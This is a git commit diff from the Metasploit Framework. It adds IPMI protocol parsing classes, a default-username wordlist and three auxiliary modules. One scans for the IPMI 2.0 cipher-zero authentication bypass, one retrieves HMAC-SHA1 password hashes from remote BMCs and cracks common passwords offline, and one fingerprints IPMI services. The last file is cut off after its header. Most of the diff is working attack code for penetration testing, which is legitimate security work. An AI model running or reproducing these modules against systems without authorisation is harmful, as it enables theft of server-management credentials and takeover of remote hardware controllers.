Merge branch 'master' of https://github.com/rapid7/metasploit-framework
commit
4ac5261802
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,5 @@
|
|||
ADMIN
|
||||
admin
|
||||
root
|
||||
Administrator
|
||||
USERID
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/ipmi/utils'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module IPMI
|
||||
require 'bit-struct'
|
||||
require 'rex/proto/ipmi/channel_auth_reply'
|
||||
require 'rex/proto/ipmi/open_session_reply'
|
||||
require 'rex/proto/ipmi/rakp2'
|
||||
|
||||
#
|
||||
# Move these into an IPMI stack or mixin at some point
|
||||
#
|
||||
|
||||
#
|
||||
# Payload types were identified from xCAT-server source code (IPMI.pm)
|
||||
#
|
||||
PAYLOAD_IPMI = 0
|
||||
PAYLOAD_SOL = 1
|
||||
PAYLOAD_RMCPPLUSOPEN_REQ = 0x10
|
||||
PAYLOAD_RMCPPLUSOPEN_REP = 0x11
|
||||
PAYLOAD_RAKP1 = 0x12
|
||||
PAYLOAD_RAKP2 = 0x13
|
||||
PAYLOAD_RAKP3 = 0x14
|
||||
PAYLOAD_RAKP4 = 0x15
|
||||
|
||||
|
||||
#
|
||||
# Payload types were copied from xCAT-server source code (IPMI.pm)
|
||||
#
|
||||
RMCP_ERRORS = {
|
||||
1 => "Insufficient resources to create new session (wait for existing sessions to timeout)",
|
||||
2 => "Invalid Session ID", #this shouldn't occur...
|
||||
3 => "Invalid payload type",#shouldn't occur..
|
||||
4 => "Invalid authentication algorithm", #if this happens, we need to enhance our mechanism for detecting supported auth algorithms
|
||||
5 => "Invalid integrity algorithm", #same as above
|
||||
6 => "No matching authentication payload",
|
||||
7 => "No matching integrity payload",
|
||||
8 => "Inactive Session ID", #this suggests the session was timed out while trying to negotiate, shouldn't happen
|
||||
9 => "Invalid role",
|
||||
0xa => "Unauthorised role or privilege level requested",
|
||||
0xb => "Insufficient resources to create a session at the requested role",
|
||||
0xc => "Invalid username length",
|
||||
0xd => "Unauthorized name",
|
||||
0xe => "Unauthorized GUID",
|
||||
0xf => "Invalid integrity check value",
|
||||
0x10 => "Invalid confidentiality algorithm",
|
||||
0x11 => "No cipher suite match with proposed security algorithms",
|
||||
0x12 => "Illegal or unrecognized parameter", #have never observed this, would most likely mean a bug in xCAT or IPMI device
|
||||
}
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,88 @@
|
|||
|
||||
module Rex
|
||||
module Proto
|
||||
module IPMI
|
||||
|
||||
class Channel_Auth_Reply < BitStruct
|
||||
unsigned :rmcp_version, 8, "RMCP Version"
|
||||
unsigned :rmcp_padding, 8, "RMCP Padding"
|
||||
unsigned :rmcp_sequence, 8, "RMCP Sequence"
|
||||
unsigned :rmcp_mtype, 1, "RMCP Message Type"
|
||||
unsigned :rmcp_class, 7, "RMCP Message Class"
|
||||
|
||||
unsigned :session_auth_type, 8, "Session Auth Type"
|
||||
unsigned :session_sequence, 32, "Session Sequence Number"
|
||||
unsigned :session_id, 32, "Session ID"
|
||||
unsigned :message_length, 8, "Message Length"
|
||||
|
||||
unsigned :ipmi_tgt_address, 8, "IPMI Target Address"
|
||||
unsigned :ipmi_tgt_lun, 8, "IPMI Target LUN"
|
||||
unsigned :ipmi_header_checksum, 8, "IPMI Header Checksum"
|
||||
unsigned :ipmi_src_address, 8, "IPMI Source Address"
|
||||
unsigned :ipmi_src_lun, 8, "IPMI Source LUN"
|
||||
unsigned :ipmi_command, 8, "IPMI Command"
|
||||
unsigned :ipmi_completion_code, 8, "IPMI Completion Code"
|
||||
|
||||
unsigned :ipmi_channel, 8, "IPMI Channel"
|
||||
|
||||
unsigned :ipmi_compat_20, 1, "IPMI Version Compatibility: IPMI 2.0+"
|
||||
unsigned :ipmi_compat_reserved1, 1, "IPMI Version Compatibility: Reserved 1"
|
||||
unsigned :ipmi_compat_oem_auth, 1, "IPMI Version Compatibility: OEM Authentication"
|
||||
unsigned :ipmi_compat_password, 1, "IPMI Version Compatibility: Straight Password"
|
||||
unsigned :ipmi_compat_reserved2, 1, "IPMI Version Compatibility: Reserved 2"
|
||||
unsigned :ipmi_compat_md5, 1, "IPMI Version Compatibility: MD5"
|
||||
unsigned :ipmi_compat_md2, 1, "IPMI Version Compatibility: MD2"
|
||||
unsigned :ipmi_compat_none, 1, "IPMI Version Compatibility: None"
|
||||
|
||||
unsigned :ipmi_user_reserved1, 2, "IPMI User Compatibility: Reserved 1"
|
||||
unsigned :ipmi_user_kg, 1, "IPMI User Compatibility: KG Set to Default"
|
||||
unsigned :ipmi_user_disable_message_auth, 1, "IPMI User Compatibility: Disable Per-Message Authentication"
|
||||
unsigned :ipmi_user_disable_user_auth, 1, "IPMI User Compatibility: Disable User-Level Authentication"
|
||||
unsigned :ipmi_user_non_null, 1, "IPMI User Compatibility: Non-Null Usernames Enabled"
|
||||
unsigned :ipmi_user_null, 1, "IPMI User Compatibility: Null Usernames Enabled"
|
||||
unsigned :ipmi_user_anonymous, 1, "IPMI User Compatibility: Anonymous Login Enabled"
|
||||
|
||||
unsigned :ipmi_conn_reserved1, 6, "IPMI Connection Compatibility: Reserved 1"
|
||||
unsigned :ipmi_conn_20, 1, "IPMI Connection Compatibility: 2.0"
|
||||
unsigned :ipmi_conn_15, 1, "IPMI Connection Compatibility: 1.5"
|
||||
|
||||
unsigned :ipmi_oem_id, 24, "IPMI OEM ID", :endian => 'little'
|
||||
|
||||
rest :ipm_oem_data, "IPMI OEM Data + Checksum Byte"
|
||||
|
||||
|
||||
def to_banner
|
||||
info = self
|
||||
banner = "#{(info.ipmi_compat_20 == 1) ? "IPMI-2.0" : "IPMI-1.5"} "
|
||||
|
||||
pass_info = []
|
||||
pass_info << "oem_auth" if info.ipmi_compat_oem_auth == 1
|
||||
pass_info << "password" if info.ipmi_compat_password == 1
|
||||
pass_info << "md5" if info.ipmi_compat_md5 == 1
|
||||
pass_info << "md2" if info.ipmi_compat_md2 == 1
|
||||
pass_info << "null" if info.ipmi_compat_none == 1
|
||||
|
||||
user_info = []
|
||||
user_info << "kg_default" if (info.ipmi_compat_20 == 1 and info.ipmi_user_kg == 1)
|
||||
user_info << "auth_msg" unless info.ipmi_user_disable_message_auth == 1
|
||||
user_info << "auth_user" unless info.ipmi_user_disable_user_auth == 1
|
||||
user_info << "non_null_user" if info.ipmi_user_non_null == 1
|
||||
user_info << "null_user" if info.ipmi_user_null == 1
|
||||
user_info << "anonymous_user" if info.ipmi_user_anonymous == 1
|
||||
|
||||
conn_info = []
|
||||
conn_info << "1.5" if info.ipmi_conn_15 == 1
|
||||
conn_info << "2.0" if info.ipmi_conn_20 == 1
|
||||
|
||||
if info.ipmi_oem_id != 0
|
||||
banner << "OEMID:#{info.ipmi_oem_id} "
|
||||
end
|
||||
|
||||
banner << "UserAuth(#{user_info.join(", ")}) PassAuth(#{pass_info.join(", ")}) Level(#{conn_info.join(", ")}) "
|
||||
banner
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
|
||||
module Rex
|
||||
module Proto
|
||||
module IPMI
|
||||
|
||||
class Open_Session_Reply < BitStruct
|
||||
unsigned :rmcp_version, 8, "RMCP Version"
|
||||
unsigned :rmcp_padding, 8, "RMCP Padding"
|
||||
unsigned :rmcp_sequence, 8, "RMCP Sequence"
|
||||
unsigned :rmcp_mtype, 1, "RMCP Message Type"
|
||||
unsigned :rmcp_class, 7, "RMCP Message Class"
|
||||
|
||||
unsigned :session_auth_type, 8, "Authentication Type"
|
||||
|
||||
unsigned :session_payload_encrypted, 1, "Session Payload Encrypted"
|
||||
unsigned :session_payload_authenticated, 1, "Session Payload Authenticated"
|
||||
unsigned :session_payload_type, 6, "Session Payload Type", :endian => 'little'
|
||||
|
||||
unsigned :session_id, 32, "Session ID"
|
||||
unsigned :session_sequence, 32, "Session Sequence Number"
|
||||
unsigned :message_length, 16, "Message Length", :endian => "little"
|
||||
|
||||
unsigned :ignored1, 8, "Ignored"
|
||||
unsigned :error_code, 8, "RMCP Error Code"
|
||||
unsigned :ignored2, 16, "Ignored"
|
||||
char :console_session_id, 32, "Console Session ID"
|
||||
char :bmc_session_id, 32, "BMC Session ID"
|
||||
|
||||
rest :stuff, "The Rest of the Stuff"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,35 @@
|
|||
|
||||
module Rex
|
||||
module Proto
|
||||
module IPMI
|
||||
|
||||
class RAKP2 < BitStruct
|
||||
unsigned :rmcp_version, 8, "RMCP Version"
|
||||
unsigned :rmcp_padding, 8, "RMCP Padding"
|
||||
unsigned :rmcp_sequence, 8, "RMCP Sequence"
|
||||
unsigned :rmcp_mtype, 1, "RMCP Message Type"
|
||||
unsigned :rmcp_class, 7, "RMCP Message Class"
|
||||
|
||||
unsigned :session_auth_type, 8, "Authentication Type"
|
||||
|
||||
unsigned :session_payload_encrypted, 1, "Session Payload Encrypted"
|
||||
unsigned :session_payload_authenticated, 1, "Session Payload Authenticated"
|
||||
unsigned :session_payload_type, 6, "Session Payload Type", :endian => 'little'
|
||||
|
||||
unsigned :session_id, 32, "Session ID"
|
||||
unsigned :session_sequence, 32, "Session Sequence Number"
|
||||
unsigned :message_length, 16, "Message Length", :endian => "little"
|
||||
|
||||
unsigned :ignored1, 8, "Ignored"
|
||||
unsigned :error_code, 8, "RMCP Error Code"
|
||||
unsigned :ignored2, 16, "Ignored"
|
||||
char :console_session_id, 32, "Console Session ID"
|
||||
char :bmc_random_id, 128, "BMC Random ID"
|
||||
char :bmc_guid, 128, "RAKP2 Hash 2 (nulls)"
|
||||
char :hmac_sha1, 160, "HMAC_SHA1 Output"
|
||||
rest :stuff, "The rest of the stuff"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,125 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module IPMI
|
||||
class Utils
|
||||
|
||||
def self.checksum(data)
|
||||
sum = 0
|
||||
data.unpack("C*").each {|c| sum += c }
|
||||
sum = ~sum + 1
|
||||
sum & 0xff
|
||||
end
|
||||
|
||||
def self.create_ipmi_getchannel_probe
|
||||
[ # Get Channel Authentication Capabilities
|
||||
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
|
||||
0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5
|
||||
].pack("C*")
|
||||
end
|
||||
|
||||
# open rmcpplus_request
|
||||
def self.create_ipmi_session_open_request(console_session_id)
|
||||
head = [
|
||||
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
||||
0x06, # RMCP+ Authentication Type
|
||||
PAYLOAD_RMCPPLUSOPEN_REQ, # Payload Type
|
||||
0x00, 0x00, 0x00, 0x00, # Session ID
|
||||
0x00, 0x00, 0x00, 0x00 # Sequence Number
|
||||
].pack("C*")
|
||||
|
||||
data =
|
||||
[ # Maximum access
|
||||
0x00, 0x00,
|
||||
# Reserved
|
||||
0x00, 0x00
|
||||
].pack("C*") +
|
||||
console_session_id +
|
||||
[
|
||||
0x00, 0x00, 0x00, 0x08,
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x00, 0x08,
|
||||
# HMAC-SHA1
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
0x02, 0x00, 0x00, 0x08,
|
||||
# AES Encryption
|
||||
0x01, 0x00, 0x00, 0x00
|
||||
].pack("C*")
|
||||
|
||||
head + [data.length].pack('v') + data
|
||||
end
|
||||
|
||||
|
||||
# open rmcpplus_request with cipherzero
|
||||
def self.create_ipmi_session_open_cipher_zero_request(console_session_id)
|
||||
head = [
|
||||
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
||||
0x06, # RMCP+ Authentication Type
|
||||
PAYLOAD_RMCPPLUSOPEN_REQ, # Payload Type
|
||||
0x00, 0x00, 0x00, 0x00, # Session ID
|
||||
0x00, 0x00, 0x00, 0x00 # Sequence Number
|
||||
].pack("C*")
|
||||
|
||||
data =
|
||||
[ # Maximum access
|
||||
0x00, 0x00,
|
||||
# Reserved
|
||||
0x00, 0x00
|
||||
].pack("C*") +
|
||||
console_session_id +
|
||||
[
|
||||
0x00, 0x00, 0x00, 0x08,
|
||||
# Cipher 0
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x00, 0x08,
|
||||
# Cipher 0
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x02, 0x00, 0x00, 0x08,
|
||||
# No Encryption
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
].pack("C*")
|
||||
|
||||
head + [data.length].pack('v') + data
|
||||
end
|
||||
|
||||
def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username)
|
||||
[
|
||||
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
||||
0x06, # RMCP+ Authentication Type
|
||||
PAYLOAD_RAKP1, # Payload Type
|
||||
0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
].pack("C*") +
|
||||
bmc_session_id +
|
||||
console_random_id +
|
||||
[
|
||||
0x14, 0x00, 0x00,
|
||||
username.length
|
||||
].pack("C*") +
|
||||
username
|
||||
end
|
||||
|
||||
|
||||
def self.create_rakp_hmac_sha1_salt(con_sid, bmc_sid, con_rid, bmc_rid, bmc_gid, auth_level, username)
|
||||
con_sid +
|
||||
bmc_sid +
|
||||
con_rid +
|
||||
bmc_rid +
|
||||
bmc_gid +
|
||||
[ auth_level ].pack("C") +
|
||||
[ username.length ].pack("C") +
|
||||
username
|
||||
end
|
||||
|
||||
def self.verify_rakp_hmac_sha1(salt, hash, password)
|
||||
OpenSSL::HMAC.digest('sha1', password, salt) == hash
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,83 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ipmi'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner',
|
||||
'Description' => %q|
|
||||
This module identifies IPMI 2.0 compatible systems that are vulnerable
|
||||
to an authentication bypass vulnerability through the use of cipher
|
||||
zero.
|
||||
|,
|
||||
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://fish2.com/ipmi/cipherzero.html'],
|
||||
['OSVDB', '93038'],
|
||||
['OSVDB', '93039'],
|
||||
['OSVDB', '93040'],
|
||||
|
||||
],
|
||||
'DisclosureDate' => 'Jun 20 2013'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(623)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
print_status("Sending IPMI requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
@res = {}
|
||||
end
|
||||
|
||||
def scan_host(ip)
|
||||
console_session_id = Rex::Text.rand_text(4)
|
||||
scanner_send(
|
||||
Rex::Proto::IPMI::Utils.create_ipmi_session_open_cipher_zero_request(console_session_id),
|
||||
ip, datastore['RPORT']
|
||||
)
|
||||
end
|
||||
|
||||
def scanner_process(data, shost, sport)
|
||||
info = Rex::Proto::IPMI::Open_Session_Reply.new(data) rescue nil
|
||||
return if not info
|
||||
return if not info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP
|
||||
|
||||
# Ignore duplicate replies
|
||||
return if @res[shost]
|
||||
|
||||
@res[shost] ||= info
|
||||
|
||||
if info.error_code == 0
|
||||
print_good("#{shost}:#{sport} - IPMI - VULNERABLE: Accepted a session open request for cipher zero")
|
||||
report_vuln(
|
||||
:host => shost,
|
||||
:port => datastore['RPORT'].to_i,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:name => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass',
|
||||
:info => "Accepted a session open request for cipher zero",
|
||||
:refs => self.references
|
||||
)
|
||||
else
|
||||
vprint_status("#{shost}:#{sport} - IPMI - NOT VULNERABLE: Rejected cipher zero with error code #{info.error_code}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,298 @@
|
|||
#
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ipmi'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retreival',
|
||||
'Description' => %q|
|
||||
This module identifies IPMI 2.0 compatible systems and attempts to retrieve the
|
||||
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
|
||||
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
|
||||
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
|
||||
|,
|
||||
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 20 2013'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(623),
|
||||
OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",
|
||||
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')
|
||||
]),
|
||||
OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",
|
||||
File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')
|
||||
]),
|
||||
OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),
|
||||
OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),
|
||||
OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
vprint_status("#{ip}:#{rport} - IPMI - Sending IPMI probes")
|
||||
|
||||
usernames = []
|
||||
passwords = []
|
||||
|
||||
# Load up our username list (save on open fds)
|
||||
::File.open(datastore['USER_FILE'], "rb") do |fd|
|
||||
fd.each_line do |line|
|
||||
usernames << line.strip
|
||||
end
|
||||
end
|
||||
usernames << ""
|
||||
usernames = usernames.uniq
|
||||
|
||||
# Load up our password list (save on open fds)
|
||||
::File.open(datastore['PASS_FILE'], "rb") do |fd|
|
||||
fd.each_line do |line|
|
||||
passwords << line.gsub(/\r?\n?/, '')
|
||||
end
|
||||
end
|
||||
passwords << ""
|
||||
passwords = passwords.uniq
|
||||
|
||||
|
||||
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
|
||||
add_socket(self.udp_sock)
|
||||
|
||||
reported_vuln = false
|
||||
|
||||
usernames.each do |username|
|
||||
console_session_id = Rex::Text.rand_text(4)
|
||||
console_random_id = Rex::Text.rand_text(16)
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - IPMI - Trying username '#{username}'...")
|
||||
|
||||
rakp = nil
|
||||
sess = nil
|
||||
|
||||
# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)
|
||||
1.upto(5) do |attempt|
|
||||
|
||||
r = nil
|
||||
1.upto(3) do
|
||||
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))
|
||||
r = udp_recv(5.0)
|
||||
break if r
|
||||
end
|
||||
|
||||
unless r
|
||||
vprint_status("#{rhost}:#{rport} - IPMI - No response to IPMI open session request")
|
||||
rakp = nil
|
||||
break
|
||||
end
|
||||
|
||||
sess = process_opensession_reply(*r)
|
||||
unless sess
|
||||
vprint_status("#{rhost}:#{rport} - IPMI - Could not understand the response to the open session request")
|
||||
rakp = nil
|
||||
break
|
||||
end
|
||||
|
||||
r = nil
|
||||
1.upto(3) do
|
||||
udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess.bmc_session_id, console_random_id, username))
|
||||
r = udp_recv(5.0)
|
||||
break if r
|
||||
end
|
||||
|
||||
unless r
|
||||
vprint_status("#{rhost}:#{rport} - IPMI - No response to RAKP1 message")
|
||||
next
|
||||
end
|
||||
|
||||
rakp = process_rakp1_reply(*r)
|
||||
unless rakp
|
||||
vprint_status("#{rhost}:#{rport} - IPMI - Could not understand the response to the RAKP1 request")
|
||||
rakp = nil
|
||||
break
|
||||
end
|
||||
|
||||
# Sleep and retry on session ID errors
|
||||
if rakp.error_code == 2
|
||||
vprint_error("#{rhost}:#{rport} - IPMI - Returned a Session ID error for username #{username} on attempt #{attempt}")
|
||||
Rex.sleep(1)
|
||||
next
|
||||
end
|
||||
|
||||
if rakp.error_code != 0
|
||||
vprint_error("#{rhost}:#{rport} - IPMI - Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")
|
||||
rakp = nil
|
||||
break
|
||||
end
|
||||
|
||||
# TODO: Finish documenting this error field
|
||||
if rakp.ignored1 != 0
|
||||
vprint_error("#{rhost}:#{rport} - IPMI - Returned error code #{rakp.ignored1} for username #{username}")
|
||||
rakp = nil
|
||||
break
|
||||
end
|
||||
|
||||
# Break out of the session retry code if we make it here
|
||||
break
|
||||
end
|
||||
|
||||
# Skip to the next user if we didnt get a valid response
|
||||
next if not rakp
|
||||
|
||||
# Calculate the salt used in the hmac-sha1 hash
|
||||
hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(
|
||||
console_session_id,
|
||||
sess.bmc_session_id,
|
||||
console_random_id,
|
||||
rakp.bmc_random_id,
|
||||
rakp.bmc_guid,
|
||||
0x14,
|
||||
username
|
||||
)
|
||||
|
||||
sha1_salt = hmac_buffer.unpack("H*")[0]
|
||||
sha1_hash = rakp.hmac_sha1.unpack("H*")[0]
|
||||
|
||||
if sha1_hash == "0000000000000000000000000000000000000000"
|
||||
vprint_error("#{rhost}:#{rport} - IPMI - Returned a bogus SHA1 hash for username #{username}")
|
||||
next
|
||||
end
|
||||
|
||||
found = "#{rhost}:#{rport} - IPMI - Hash found: #{username}:#{sha1_salt}:#{sha1_hash}"
|
||||
print_good(found)
|
||||
|
||||
write_output_files(rhost, username, sha1_salt, sha1_hash)
|
||||
|
||||
# Write the rakp hash to the database
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:user => username,
|
||||
:pass => "#{sha1_salt}:#{sha1_hash}",
|
||||
:source_type => "captured",
|
||||
:active => true,
|
||||
:type => 'rakp_hmac_sha1_hash'
|
||||
)
|
||||
|
||||
# Write the vulnerability to the database
|
||||
unless reported_vuln
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',
|
||||
:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",
|
||||
:refs => self.references
|
||||
)
|
||||
reported_vuln = true
|
||||
end
|
||||
|
||||
# Offline crack common passwords and report clear-text credentials
|
||||
next unless datastore['CRACK_COMMON']
|
||||
|
||||
passwords.uniq.each do |pass|
|
||||
pass = pass.strip
|
||||
next unless pass.length > 0
|
||||
next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp.hmac_sha1, pass)
|
||||
print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'")
|
||||
|
||||
# Report the clear-text credential to the database
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:sname => 'ipmi',
|
||||
:user => username,
|
||||
:pass => pass,
|
||||
:source_type => "cracked",
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
)
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def process_opensession_reply(data, shost, sport)
|
||||
shost = shost.sub(/^::ffff:/, '')
|
||||
info = Rex::Proto::IPMI::Open_Session_Reply.new(data) rescue nil
|
||||
return if not info
|
||||
return if not info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP
|
||||
info
|
||||
end
|
||||
|
||||
def process_rakp1_reply(data, shost, sport)
|
||||
shost = shost.sub(/^::ffff:/, '')
|
||||
info = Rex::Proto::IPMI::RAKP2.new(data) rescue nil
|
||||
return if not info
|
||||
return if not info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2
|
||||
info
|
||||
end
|
||||
|
||||
|
||||
def write_output_files(rhost, username, sha1_salt, sha1_hash)
|
||||
if datastore['OUTPUT_HASHCAT_FILE']
|
||||
::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|
|
||||
fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")
|
||||
fd.flush
|
||||
end
|
||||
end
|
||||
|
||||
if datastore['OUTPUT_JOHN_FILE']
|
||||
::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|
|
||||
fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")
|
||||
fd.flush
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Helper methods (these didn't quite fit with existing mixins)
|
||||
#
|
||||
|
||||
attr_accessor :udp_sock
|
||||
|
||||
def udp_send(data)
|
||||
begin
|
||||
udp_sock.sendto(data, rhost, datastore['RPORT'], 0)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
def udp_recv(timeo)
|
||||
r = udp_sock.recvfrom(65535, timeo)
|
||||
r[1] ? r : nil
|
||||
end
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ipmi'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'IPMI Information Discovery',
|
||||
'Description' => 'Discover host information through IPMI Channel Auth probes',
|
||||
'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://fish2.com/ipmi/']
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(623)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
print_status("Sending IPMI requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
@res = {}
|
||||
end
|
||||
|
||||
def scan_host(ip)
|
||||
vprint_status "#{ip}:#{rport} - IPMI - Probe sent"
|
||||
scanner_send(Rex::Proto::IPMI::Utils.create_ipmi_getchannel_probe, ip, rport)
|
||||
end
|
||||
|
||||
def scanner_process(data, shost, sport)
|
||||
info = Rex::Proto::IPMI::Channel_Auth_Reply.new(data) rescue nil
|
||||
|
||||
# Ignore invalid responses
|
||||
return unless info
|
||||
unless info.ipmi_command == 56
|
||||
vprint_error "#{shost}:#{rport} - IPMI - Invalid response"
|
||||
return
|
||||
end
|
||||
|
||||
# Ignore duplicate replies
|
||||
return if @res[shost]
|
||||
|
||||
@res[shost] ||= info
|
||||
|
||||
banner = info.to_banner
|
||||
|
||||
print_good("#{shost}:#{rport} - IPMI - #{banner}")
|
||||
|
||||
report_service(
|
||||
:host => shost,
|
||||
:port => rport,
|
||||
:proto => 'udp',
|
||||
:name => 'ipmi',
|
||||
:info => banner
|
||||
)
|
||||
|
||||
# Potential improvements:
|
||||
# - Report a vulnerablity if info.ipmi_user_anonymous has been set
|
||||
# - Report a vulnerability if ipmi 2.0 and kg is set to default (almost always the case)
|
||||
# - Report a vulnerability if info.ipmi_user_null has been set (null username)
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,90 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
